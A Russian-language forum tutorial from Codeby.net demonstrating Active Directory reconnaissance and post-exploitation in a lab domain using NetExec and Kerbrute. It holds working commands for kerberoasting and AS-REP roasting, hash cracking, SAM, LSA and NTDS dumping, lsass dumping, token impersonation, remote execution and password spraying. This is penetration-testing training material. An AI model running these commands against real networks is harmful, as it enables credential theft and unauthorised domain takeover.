• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Сбор информации и пост эксплуатация в Active Directory

Добрый день друзья!

1715878559318.png


В данной статье разберем способы сбора информации и пост эксплуатации используя 2 замечательных инструмента

NetExec (nxc) - GitHub - Pennyw0rth/NetExec: The Network Execution Tool
Kerbrute - GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing

nxc является форком и продолжением утилиты crackmapexec

Оба инструмента отлично работают как в Linux так и в Windows системах
Покажу на примере Kali Linux, начнем с установки nxc:
Bash:
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec

Проверяем командой - nxc -h

1715862896388.png


NetExec поддерживает все основные и необходимые нам протоколы:

mssql - СУБД Порт: 1433
winrm - Windows Remote Management (протокол удалённого управления, который использует SOAP) Порт: 5985, 5986
vnc - Virtual Network Computing (позволяет подключаться к удалённому раб. столу) Порт: 5900
ftp - File Transfer Protocol (позволяет осуществлять передачу файлов) Порт: 21
rdp - Remote Desktop Protocol (стандартный для Windows протокол подключения к удаленному раб. столу) Порт: 3389
ssh - Secure Shell (удаленное управление ОС) Порт: 22
ldap - Lightweight Directory Access Protocol (быстрый доступ к каталогам) Порт: 389, 636
wmi - Windows Management Instrumentation (централизованное управление и сбор информации WIndows инфраструктуры) Порт: 135
smb - Server Message Block (позволяет осуществлять доступ к различным сетевым ресурсам, файлы, диски, принтеры и т.д.) Порт: 445

1715865453115.png


Указаны стандартные порты данных протоколов
Для демонстрации различных техник создал в лаборатории 3х пользователей:

low_priv - входит в стандартную группу "Пользователи домена/Domain Users"
mid_priv - входит в разные непривилегированные группы (winrm, smb)
high_priv - входит в группу "Администраторы/Administrators"

Начнем с протокола LDAP

Имея учетные данные любого пользователя домена (low_priv) сможем выяснить достаточно полезной информации
Посмотреть справку по команде можно следующим образом - nxc ldap -h

Стандартная команда выглядит так - nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123'

Указываем протокол, цель, домен и учетные данные пользователя

Тут остановимся чуть подробнее
Цель можно указывать в формате IP адрес, dns имя, сеть 192.168.1.0/24 или передать текстовой файл со списком серверов (можно указывать имена хостов предварительно сделав запись в файле hosts)

Учетные данные можно указывать в различных форматах, например хеш пароля (-H) пользователя или используя полученный билет (-k --use-kcache), подробно про билеты в след раз

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd'

1715868322481.png


Если видим плюсик, значит данные верны и можем начинать сбор информации
В nxc для этого используются глобальные опции --users --groups

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --users

1715868635192.png


Получили список всех пользователей домена

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -H '991032c487f1ac2955e393c279c2f0fd' --groups

1715868739681.png


Список всех групп

Почти у каждого протокола в nxc есть различные модули, смотрим командой - nxc ldap -L

1715869304552.png


Для подключения модуля используется флаг -M module_name
Можно указать сразу несколько через пробел и с флагом -M

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' -M whoami -M user-desc

Подключил 2 модуля, информация о нас и сбор описаний всех пользователей

1715869463140.png


В реальных условиях мы вряд ли найдем что то интересное в описаниях, однако в тасках на различных платформах часто можно найти полезную информацию

Крайне полезным является встроенный коллектор bloodhound

nxc ldap 192.168.1.36 -d codeby.cdb -u 'low_priv' -p 'Task123' --bloodhound -ns 192.168.1.36 -c All

1715869928268.png


Закидываем полученные json файлы в BH и спокойно анализируем

1715870103079.png


1715870221904.png


Прежде чем перейти к следующему протоколу, расскажу о еще 2х полезных функциях - --kerberoasting --asreproast

nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --asreproast hashes.txt
nxc ldap arrow.codeby.cdb -d codeby.cdb -u 'low_priv' -p 'Task123' --kerberoasting hashes.txt

1715871102322.png


Получили хеши которые можно отправить john'у или в hashcat и возможно получится сбрутить пароль

В hashcat указываем - 18200 Kerberos 5, etype 23, AS-REP для ASREP хеша

hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

И 13100 [Kerberos 5, etype 23, TGS-REP] для Kerberos TGS-REP хеша

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Переходим к протоколу winrm

Модулей нет, зато есть интересные и крайне удобные функции
Основные флаги идентичны для разных протоколов (-u -p -d -H и т.д.)
Посмотрим различия между пользователями

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123'

1715872334078.png


Внимательные читатели заметили что в выводе кое что изменилось - [+] codeby.cdb\mid_priv:Task123 (Pwn3d!)
Если увидели заветное Pwn3d! то учетные данные не просто верны, а мы непосредственно можем взаимодействовать с данной службой
Детально посмотрим некоторые из функций

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' --sam
nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --sam

1715872730634.png


Как видим, можем без проблем подключиться к службе используя evil-winrm, однако сдампить SAM файл не хватило прав, в отличие от high_priv пользователя
Получили хеши учетных записей

1715873042502.png


Аналогично LSA - nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --lsa

1715873166438.png


Флаги -x -X позволят выполнить команду в cmd и powershell соответственно

nxc winrm arrow.codeby.cdb -d codeby.cdb -u 'mid_priv' -p 'Task123' -X 'dir C:\'

1715873338248.png


SMB протокол
Огромное количество различных модулей

nxc smb -L

1715873596386.png


1715873640877.png


Глобальная опция --shares, покажет список доступных сетевых ресурсов и права на чтение/запись

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --shares

1715873898239.png


Если сервер является контроллером домена, сможем сдампить хеши всех пользователей домена

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' --ntds

С этой функцией аккуратнее, если домен большой и пользователей много, что то может пойти не так :)

1715874255361.png


У некоторых продвинутых модулей есть дополнительные опции
Список опций модуля - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate --options

1715874941500.png


Теперь выведем список возможных токенов - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate

И попробуем имперсонировать (олицетворение) - nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M impersonate -o TOKEN=0 EXEC=whoami
Указали ID токена и команду для выполнения (key=value)

1715875151581.png


Успех! Выполнили whoami от имени codeby\exited3n

nxc smb arrow.codeby.cdb -d codeby.cdb -u 'high_priv' -p 'Task123' -M nanodump

1715876306817.png


Забрали lsass.exe и получили пасс в открытом виде
Другие модули по аналогии, предлагаю поиграться в качестве дз :)

rdp, vnc, ftp, ssh - модулей нет, особо интересного тоже, флаги стандартные, можно проверять учетные данные

Коротко о mssql

nxc mssql -u user -p password --local-auth 192.168.2.14 -M mssql_priv

Настроена локальная аутентификация, поэтому убрали домен и добавили флаг --local-auth

1715877226778.png


Теперь по поводу перечисления, брутфорсу пользователей и пароля (password spraying)
nxc умеет все это делать, однако делает это медленно

Примеры команд:
Не знаем ни пользователя, ни пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p passes.txt --continue-on-success
Добавил флаг --continue-on-success при успехе продолжит брутфорс

1715877575304.png


Знаем пользователя, не знаем пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u high_priv -p passes.txt --continue-on-success

1715877677321.png


Не знаем пользователя, знаем пароль - nxc smb arrow.codeby.cdb -d codeby.cdb -u users.txt -p 'Task123' --continue-on-success

1715877762373.png


Для данных целей я использую другой инструмент - kerbrute

Установка:
Bash:
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
sudo mv kerbrute_linux_amd64 /usr/bin/kerbrute

Перечисление пользователей - kerbrute userenum users.txt -d codeby.cdb --dc 192.168.1.36

1715878117682.png


1715878147700.png


Брутфорс пользователя - kerbrute bruteuser -d codeby.cdb --dc 192.168.1.36 passes.txt mid_priv

1715878251411.png


Спрей пароля - kerbrute passwordspray -d codeby.cdb --dc 192.168.1.36 users.txt Task123

1715878324577.png


Написано специально для Codeby.net
Потренироваться и решить AD таски можно на площадке Codeby.games
Мой канал в подписи

За сием прощаюсь, до новых встреч!
 

Вложения

  • 1715877753455.png
    1715877753455.png
    28 КБ · Просмотры: 50
Последнее редактирование:

mcfly

Green Team
08.09.2016
619
622
BIT
280
Отличная статья! Как раз искал гайд по netexec интересные модули в форке.
 
  • Нравится
Реакции: Exited3n
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!